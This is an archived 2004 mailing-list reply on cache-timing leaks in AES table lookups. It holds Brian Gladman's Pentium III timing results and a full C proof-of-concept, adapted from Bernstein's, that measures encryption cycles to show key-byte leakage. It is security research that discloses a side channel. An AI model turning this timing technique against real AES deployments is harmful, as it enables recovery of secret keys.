Re: Don't use S-boxes! ... OpenSSL leaks AES key bytes

From: BRG (brg_at_nowhere.org)
Date: 11/12/04

  • Next message: Undisclosed: "doh! re: playing with crypto"
    Date: Fri, 12 Nov 2004 10:34:16 +0000
    
    

    D. J. Bernstein wrote:

    > Here's another example. The same easy timing attack, applied to OpenSSL
    > under FreeBSD 4.10 on a Pentium M, immediately finds 24 AES key bits:
    >
    > % gcc -o time time.c -lssl -lcrypto -O2
    > % ./time < /dev/urandom
    > ...
    > 2, 32 loops: 98 98 98 98 98 98 98 98 98 98 85 98 98 98 98 98
    > ...
    > 10, 32 loops: 94 94 94 94 94 94 94 94 94 93 94 93 94 94 94 94
    > ...
    > 14, 32 loops: 217 85 85 85 85 85 85 85 85 85 85 85 85 85 85 85
    >
    > The 98, 94, and 85 are rock-solid at 64 loops. As an example of compiler
    > dependence, omitting -O2 changes the constants to 86, 97, and 93.
    > Anyway, the complete time.c code appears below.

    Thank you for the code. I have had to modify this for Windows and
    Microsoft VC++ (7.1) and my revision is included below for those who
    might want to try this out.

    After trying various combinations of AES tables I have not been able to
    obtain any effects on either Intel P4 or VIA C3 processors.

    But I have now found combinations of tables (using my AES code) that do
    demonstrate the effect on the Intel P3 processor. Here is one P3 result
    (the far right hand value is the duplicate count from 16 samples):

    08, 00004 loops : 14 18 1f 37 3a 45 4d 4d 65 7c 8f a3 c8 e7 eb f7
    11, 00004 loops : 18 18 22 3a 3a 3a 3a 3a 3a 41 48 84 ae c5 d7 e8 6
    12, 00004 loops : 1d 1d 27 37 38 3b 3d 5e 5e 91 a2 ac b0 bd ce d4
    01, 00008 loops : 2a 49 49 4b 74 77 7d 8d 91 9d 9f a8 da db f7 fb
    05, 00008 loops : 07 2c 3c 46 51 58 5a 77 79 92 92 9e cd ec fc fe
    08, 00008 loops : 03 13 17 17 2e 46 69 6c 76 80 8f 95 b3 e2 e6 f6
    10, 00008 loops : 0f 10 16 33 3a 45 52 72 72 86 9c a3 c8 d5 f5 fa
    11, 00008 loops : 3a 3a 40 68 81 9c a8 b6 c9 cf d0 d9 da ea ea f5
    12, 00008 loops : 31 3c 4d 7e 81 90 99 a2 b4 b4 c5 c6 c8 c8 d1 ec
    00, 00016 loops : 13 14 26 2a 37 48 52 6a 76 92 b5 c4 d6 fa fb fb
    01, 00016 loops : 08 0c 2f 32 33 3e 4c 52 52 62 65 8e 9b aa ae ec
    03, 00016 loops : 07 3c 47 55 67 68 7c 9c a1 d1 d6 ed f2 f8 f8 fa
    04, 00016 loops : 05 05 05 0c 14 18 25 29 45 48 49 59 81 96 b0 c2 3
    11, 00016 loops : 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 67 9c c6 f7 12
    13, 00016 loops : 0a 69 69 6b 73 78 8e a2 af b4 bd c6 d2 dd ee ef
    15, 00016 loops : 19 2e 35 3e 3e 44 46 52 8f 90 a2 b3 c4 e7 ed f0
    01, 00032 loops : 1e 40 54 57 5d 6d a6 a7 b4 b8 b8 d5 d9 ee f0 fe
    06, 00032 loops : 09 17 31 46 52 72 78 96 97 a2 b7 df e0 e0 ef fb
    11, 00032 loops : 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 63 74 a0 bd d6 11
    15, 00032 loops : 0e 1b 2c 35 3e 3e 3e 3e 59 63 77 83 88 94 b5 df 4
    01, 00064 loops : 5e 6a 7e 7f 85 86 8b 8f 9f 9f a2 a5 d5 d9 df f7
    07, 00064 loops : 05 10 15 17 2d 5f 6f 71 8b 91 ba c3 d4 ef ef fd
    11, 00064 loops : 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 7e c1 c4 13
    12, 00064 loops : 18 19 19 34 34 37 58 58 85 a3 a5 af ce dc df ee
    15, 00064 loops : 0f 1c 24 31 3e 3e 3e 3e 56 63 65 7a 80 8e de e3 4
    00, 00128 loops : 00 1b 21 45 4d 5c 60 84 96 9e 9e a6 bc cd db f7
    01, 00128 loops : 0a 21 62 72 7d 8d 8d 8f 93 af b0 c5 d8 e1 e2 fc
    02, 00128 loops : 01 2b 33 37 49 4a 4e 50 53 93 a0 dc ea ea ed f2
    03, 00128 loops : 08 18 19 1b 24 2e 31 3a 3d 50 5e 85 ad c9 f8 f8
    06, 00128 loops : 26 26 2a 37 59 5c 7c 7e a0 ba c5 c8 e2 e6 f1 fa
    07, 00128 loops : 2e 37 4b 5d 70 72 75 87 9e a5 bd c5 c5 d8 e7 fe
    09, 00128 loops : 2b 33 4b 4b 53 54 59 5f 70 70 92 94 97 98 af f9
    10, 00128 loops : 2d 2e 4e 53 60 64 8d 91 a1 a1 b3 c2 e0 ed f9 ff
    11, 00128 loops : 0e 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 8f bf c0 12
    14, 00128 loops : 05 05 08 3b 4f 5d 69 6a 7a 8c ab cc ef ef f0 f8
    15, 00128 loops : 07 13 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 8d 98 e4 f4 10
    03, 00256 loops : 36 40 51 6b 75 8b 8b 98 a1 ac b5 e6 ec f3 fa fc
    04, 00256 loops : 0a 16 30 50 65 6f 71 79 94 a2 a6 d2 d2 db e5 fd
    05, 00256 loops : 02 08 17 17 1d 42 50 6a 84 c6 d8 dc e5 f6 f8 f9
    06, 00256 loops : 1e 22 2c 44 51 5a 64 87 8b 9e a0 a0 b0 bc e3 ff
    09, 00256 loops : 25 27 27 58 5c 84 9b 9f a9 de e2 e8 ee f2 f7 fa
    11, 00256 loops : 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 5c 96 96 13
    13, 00256 loops : 02 30 46 49 4e 58 7a 7e 89 95 a1 a3 a3 b0 dc ef
    14, 00256 loops : 2c 32 32 3c 3d 4b 61 8b 92 b1 c2 e0 e9 eb ed ef
    15, 00256 loops : 2f 3d 3e 3e 3e 3e 3e 3e 3e 3e 3e 6e 74 c6 e2 ea 9
    02, 00512 loops : 04 11 38 65 70 75 7e 97 a5 ba ba dc dd e6 fd fe
    04, 00512 loops : 0e 0e 38 44 56 66 67 6b 80 a9 aa bd bd ca d4 d7
    05, 00512 loops : 01 3b 46 4b 59 66 6f 84 85 89 99 be c6 c7 d5 d5
    08, 00512 loops : 07 18 1c 27 27 2a 4a 4b 64 72 8b 93 aa d4 e1 e5
    11, 00512 loops : 11 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 3a 67 14
    14, 00512 loops : 1c 29 2f 4f 5c 60 6c 7c 83 83 a0 a5 c3 dd f4 f8
    15, 00512 loops : 22 34 36 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 73 9b b5 10

        Brian Gladman

    -------------------------------------
    /* Based on D. J. Bernstein's Timing Attack Code modified for
         Brian Gladman's AES code and Microsoft VC++ version 7.1
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include "aes.h"

    /* obtain cycle counts using the Time Stamp Counter */
    #define timing_now(x) \
       __asm rdtsc __asm lea ebx,x __asm mov [ebx],eax __asm mov [ebx+4],edx
    #define timing_diff(x,y) (int)(x - y)

    #define N_SAMPLES 16
    unsigned char out[16];
    unsigned char key[16];
    unsigned char in[16];
    aes_encrypt_ctx ctx[1];

    /* Simple PRNG combining 2 of George Marsaglia's generators */
    unsigned long rand32(void)
    { static unsigned long w = 521288629, z = 362436069;
       z = 36969 * (z & 65535) + (z >> 16);
       w = 18000 * (w & 65535) + (w >> 16);
       return (z << 16) + w;
    }

    unsigned char rand8(void)
    { static unsigned long r4, cnt = 4;
       if(cnt == 4)
         r4 = rand32(), cnt = 0;
       return (unsigned char)(r4 >> 8 * cnt++);
    }

    int cycles(void)
    { unsigned long long tstart, tend;
       int t;
       do
       { timing_now(tstart);
         aes_encrypt(in, out, ctx);
         timing_now(tend);
         t = timing_diff(tend, tstart);
       }
       while
         (t <= 0 || t >= 1500);
       return t;
    }

    int bump(int b, int loops)
    { int i, j, x, xt, bestx, bestxt = 0;

       for(x = 0; x < 256; ++x)
       { xt = 0;
         for(i = 0; i < loops; ++i)
         {
           for(j = 0; j < 16; ++j)
             in[j] = rand8();
           in[b] = x;
           xt += cycles() + cycles() + cycles();
         }
         if(xt > bestxt)
         {
           bestx = x; bestxt = xt;
         }
       }
       return bestx;
    }

    int cmp(const unsigned char* a, const unsigned char* b)
    {
       return *a < *b ? -1 : *a > *b ? 1 : 0;
    }

    int main(void)
    { int i, j, k, b, loops, cnt;
       unsigned char v[16];

       for(loops = 4; loops <= 65536; loops += loops)
       { for(b = 0; b < 16; ++b)
         { for(k = 0; k < N_SAMPLES; ++k)
           { for(j = 0; j < 16; ++j)
               key[j] = rand8();
             aes_encrypt_key(key, 16, ctx);
             v[k] = bump(b, loops) ^ key[b];
           }

           qsort(v, N_SAMPLES, sizeof(unsigned char), cmp);
           j = 0; cnt = 0;
           do
           { if(v[j] == v[j + 1])
             { k = j;
               while(++j < N_SAMPLES && v[j] == v[k])
                 ;
               cnt = (j - k > cnt ? j - k : cnt);
               --j;
             }
           }
           while
             (++j < N_SAMPLES);

           if(cnt > 1)
           { printf("\n%02d, %05d loops :", b, loops);
             for(i = 0; i < N_SAMPLES; ++i)
               printf(" %02x", v[i]);
             if(cnt > 2)
               printf(" %2d", cnt);
             fflush(stdout);
           }
         }
       }
       return 0;
    }


  • Next message: Undisclosed: "doh! re: playing with crypto"

    Relevant Pages